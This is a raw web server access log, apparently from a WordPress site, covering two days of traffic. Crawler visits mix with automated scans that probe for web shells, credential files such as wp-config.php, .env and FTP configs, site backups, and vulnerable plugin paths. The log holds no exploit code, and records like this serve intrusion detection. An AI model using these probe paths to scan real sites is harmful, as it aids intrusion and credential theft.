"GET /ms.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:11:51 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:05:58 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:02 +0300] "GET /amp.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:52 +0300] "GET /black.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:09 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:12 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:14 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:12 +0300] "GET /wefile.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:53 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:12 +0300] "GET /apk.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:16 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:25 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:39 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:12:08 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:12:40 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 88.210.35.166 - - [18/Feb/2026:12:45:18 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 74.248.34.156 - - [18/Feb/2026:14:05:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:27 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:44 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:12:15 +0300] "GET /ajax.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:13:11 +0300] "GET /knme.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:13:43 +0300] "GET /ws67.php HTTP/1.1" 301 795 "-" "-" 95.142.46.155 - - [18/Feb/2026:12:46:33 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 74.248.34.156 - - [18/Feb/2026:14:08:26 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:53 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:11:18 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 101.32.15.141 - - [18/Feb/2026:14:12:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.248.34.156 - - [18/Feb/2026:14:06:08 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:11 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:07:06 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:07:11 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:07:18 +0300] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:53 +0300] "GET /h02ugyh.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:57 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:01 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:05 +0300] "GET /gfd.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:07 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:28 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:32 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:02 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:13:27 +0300] "GET /ws71.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:13:56 +0300] "GET /momo.php HTTP/1.1" 301 795 "-" "-" 43.133.187.11 - - [18/Feb/2026:15:05:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.198.110.45 - - [18/Feb/2026:15:26:48 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 52.247.48.139 - - [18/Feb/2026:16:05:11 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.247.48.139 - - [18/Feb/2026:16:05:20 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.247.48.139 - - [18/Feb/2026:16:05:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.247.48.139 - - [18/Feb/2026:16:05:11 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.247.48.139 - - [18/Feb/2026:16:05:11 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 117.72.81.38 - - [18/Feb/2026:16:29:36 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74.7.243.204 - - [18/Feb/2026:17:25:26 +0300] "GET / HTTP/1.1" 301 795 "http://www.gamerkun.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 4.194.217.214 - - [18/Feb/2026:17:42:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 203.159.90.209 - - [18/Feb/2026:17:37:14 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 206.217.142.217 - - [18/Feb/2026:17:46:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1" 194.31.72.75 - - [18/Feb/2026:20:05:45 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 207.180.220.222 - - [18/Feb/2026:19:50:54 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15) Gecko/20100101 Firefox/120.0.1" 134.236.17.126 - - [18/Feb/2026:20:27:40 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49.233.45.47 - - [18/Feb/2026:19:42:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.72.236 - - [18/Feb/2026:19:54:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.131.228 - - [18/Feb/2026:20:57:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.191.45.212 - - [18/Feb/2026:21:16:00 +0300] "GET / HTTP/1.1" 301 795 "-" "DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)" 4.232.88.90 - - [18/Feb/2026:22:09:49 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 4.232.88.90 - - [18/Feb/2026:22:09:38 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.100.193.95 - - [18/Feb/2026:22:28:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.68.107.144 - - [18/Feb/2026:23:51:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.107.144 - - [18/Feb/2026:23:51:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 91.202.4.80 - - [19/Feb/2026:00:54:22 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 200.36.151.37 - - [19/Feb/2026:01:18:49 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 157.173.122.176 - - [19/Feb/2026:01:30:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 182.42.111.213 - - [19/Feb/2026:01:48:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 37.19.223.115 - - [19/Feb/2026:01:52:08 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 193.43.135.240 - - [19/Feb/2026:01:55:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3" 129.226.174.80 - - [19/Feb/2026:02:43:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.5.249.176 - - [19/Feb/2026:03:13:37 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" 158.94.210.79 - - [19/Feb/2026:03:26:18 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 170.106.179.68 - - [19/Feb/2026:03:46:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 206.189.202.249 - - [19/Feb/2026:04:08:39 +0300] "GET /wp-content/plugins/lastudio-element-kit/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" 206.189.202.249 - - [19/Feb/2026:04:08:43 +0300] "GET /wp-content/plugins/login-customizer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" 206.189.202.249 - - [19/Feb/2026:04:08:46 +0300] "GET /wp-content/plugins/academy/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15" 206.189.202.249 - - [19/Feb/2026:04:08:50 +0300] "GET /wp-content/plugins/directorist-social-login/assets/public/css/main.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 158.158.51.6 - - [19/Feb/2026:03:46:12 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 195.201.199.99 - - [19/Feb/2026:04:34:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 195.201.199.99 - - [19/Feb/2026:04:33:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 107.189.27.110 - - [19/Feb/2026:05:36:18 +0300] "HEAD /eliteewallet.com.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 4.197.75.18 - - [19/Feb/2026:06:05:35 +0300] "GET /lib/cartDataCache.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:37 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:11 +0300] "GET /wp-content/plugins/uppercase-to-convert-lowercase-in-url/index.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:03:56 +0300] "GET /wp-content/uploads/ahda.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:01 +0300] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:48 +0300] "GET /ocs/wp-admin/includes/class-wp-filesystem-direct.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:51 +0300] "GET /posts_sitemap.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:03 +0300] "GET /id_remove.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:34 +0300] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:39 +0300] "GET /wp-admin/includes/class-wp-filesystem-ftpext.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:40 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:41 +0300] "GET /wp-includes/update.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:41 +0300] "GET /wp-content/themes/autoloader.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:46 +0300] "GET /wp-admin/includes/theme.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:46 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:48 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:51 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:52 +0300] "GET /wp-includes/functions.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:53 +0300] "GET /wp-content/plugins/convertplug/convertplug.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:57 +0300] "GET /wp-content/plugins/cdekdelivery/cdek.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:00 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:01 +0300] "GET /wp-includes/pluggable.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:02 +0300] "GET /flexoacademy.com/wp-includes/class-wp-hook.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:06 +0300] "GET /app/Http/Controllers/ContactController.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:40 +0300] "GET /ilesystem-direct.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:08:09 +0300] "GET /hvoxejcn.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:15 +0300] "GET /wp-includes/images/smilies/post.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:19 +0300] "GET /wp-node.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:23 +0300] "GET /file_uploads/index.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:42 +0300] "GET /wp-admin/post-new.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:13 +0300] "GET /model/ProductsSizesMaster.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:06:25 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:24 +0300] "GET /ua/index_old.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:52 +0300] "GET /assets/uploads/alfacgiapi/404.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:03:52 +0300] "GET /wp-content/plugins/superlogoshowcase-wp/sls-wp-admin/pages/import.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:29 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:29 +0300] "GET /wp-admin/post.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:28 +0300] "GET /lib/Classes/Data/RDataConnection.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:57 +0300] "GET /SITEPATHwp-load.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:59 +0300] "GET /test/adminer-4.6.1-mysql-en.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:08 +0300] "GET /kkkk.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:46 +0300] "GET /public/wp-includes/functions.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:50 +0300] "GET /themes/focusblog/category.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:54 +0300] "GET /themes/focusblog/content-masonry.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:04:58 +0300] "GET /wp-content/plugins/wordfence/wordfence.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:02 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:06 +0300] "GET /lib/functions.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:11 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:15 +0300] "GET /wp-conter.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:30 +0300] "GET /wp-content/themes/seotheme/radio.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:34 +0300] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:37 +0300] "GET /wp-adminmaintmailer.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:41 +0300] "GET /en/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:07:44 +0300] "GET /ru/adminer-4.2.4.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:03:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:05:23 +0300] "GET /lib/Classes/Models/RMasterModel.php HTTP/1.1" 301 795 "-" "-" 4.197.75.18 - - [19/Feb/2026:06:08:15 +0300] "GET /rasp.php HTTP/1.1" 301 795 "-" "-" 66.206.19.82 - - [19/Feb/2026:07:26:44 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.10.11" 66.206.19.82 - - [19/Feb/2026:07:26:44 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.10.11" 66.206.19.82 - - [19/Feb/2026:07:26:44 +0300] "GET /.ftpconfig HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.10.11" 66.206.19.82 - - [19/Feb/2026:07:26:45 +0300] "GET /ftp_config.json HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.10.11" 45.194.92.21 - - [19/Feb/2026:08:07:11 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 203.2.64.59 - - [19/Feb/2026:08:05:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.215.85.12 - - [19/Feb/2026:07:39:55 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 49.51.243.156 - - [19/Feb/2026:09:00:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 145.220.91.19 - - [19/Feb/2026:09:35:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 176.65.132.77 - - [19/Feb/2026:11:03:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 69.171.231.112 - - [19/Feb/2026:09:58:14 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.166.130.123 - - [19/Feb/2026:09:54:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.71.36.158 - - [19/Feb/2026:12:06:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8" 52.39.237.221 - - [19/Feb/2026:11:33:51 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00" 31.13.127.15 - - [19/Feb/2026:14:59:01 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 1.15.52.154 - - [19/Feb/2026:14:06:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.174.58.255 - - [19/Feb/2026:14:53:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.255 - - [19/Feb/2026:14:53:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 74.248.96.218 - - [19/Feb/2026:14:09:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.248.96.218 - - [19/Feb/2026:14:09:48 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 43.165.135.242 - - [19/Feb/2026:14:47:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.174.58.255 - - [19/Feb/2026:15:34:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.255 - - [19/Feb/2026:15:35:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.255 - - [19/Feb/2026:15:34:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 116.76.39.181 - - [19/Feb/2026:16:24:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.2586.129 Safari/537.36 Edge/18.18362" 43.165.69.68 - - [19/Feb/2026:15:37:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 